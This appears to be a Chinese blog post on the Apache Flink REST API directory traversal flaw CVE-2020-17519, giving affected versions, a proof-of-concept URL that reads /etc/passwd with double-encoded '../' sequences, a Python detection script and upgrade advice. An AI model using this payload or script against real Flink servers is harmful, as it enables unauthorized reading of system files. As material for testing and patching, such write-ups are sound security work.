zoukankan      html  css  js  c++  java
  • Apache Flink目录遍历(CVE-2020-17519)

    1.漏洞描述

        2021年1月5日,Apache Flink官方发布安全更新,修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞,漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。
    
        Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞,风险较大,阿里云应急响应中心提醒 Flink 用户尽快采取安全措施阻止漏洞攻击。
    

    2.漏洞产生原因

    CVE-2020-17519:攻击者可通过REST API使用../跳目录实现系统任意文件读取。

    3.影响范围

    Apache Flink 1.5.1 ~ 1.11.2

    4.复现
    poc:

    192.168.45.20:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

    单个脚本:

    import argparse
    import requests
    global headers
    headers={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
    class Apache_Flink():
    	def url(self):
    	        parser = argparse.ArgumentParser(description='Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC')
    	        parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
    	        args = parser.parse_args() 
    	        global target_url
    	        target_url = args.target_url
    	        print("Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC!!")
    	        print("正在执行检测...")
    	        print("目标地址:",target_url)
    	        return target_url
    	def check(self):
    		poc = r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
    		url = target_url + poc
    		try:
    			re = requests.get(url,headers=headers,timeout=4)
    			if re.status_code==200 and "root:x" in re.text:
    				print('漏洞存在')
    			else:
    				print('漏洞不存在')
    		except:
    			print('访问异常')
     
    if __name__ == '__main__':
    	flink = Apache_Flink()
    	flink.url()
    	flink.check()
    

    批量脚本:https://github.com/B1anda0/CVE-2020-17519

    6.修补建议

    所有用户升级到Flink 1.11.3或1.12.0,下载链接为:

    https://flink.apache.org/downloads.html

    https://flink.apache.org/downloads.html

  • 相关阅读:
    C语言利用fgetc复制拷贝文件内容
    linux 安装gcc 和 g++
    C宏定义和使用
    C的realloc的动态分配扩展和缩小内存
    C用malloc 向系统申请一个大小为n*4个字节的内存块
    GDB core命令的使用调试段错误
    GDB的安装
    C字符指针数组的使用
    C二维字符数组的使用及如何获取二维数组的总行数和总列数!
    C二维数组用指针地址遍历
  • 原文地址:https://www.cnblogs.com/marcus666/p/14262406.html
Copyright © 2011-2022 走看看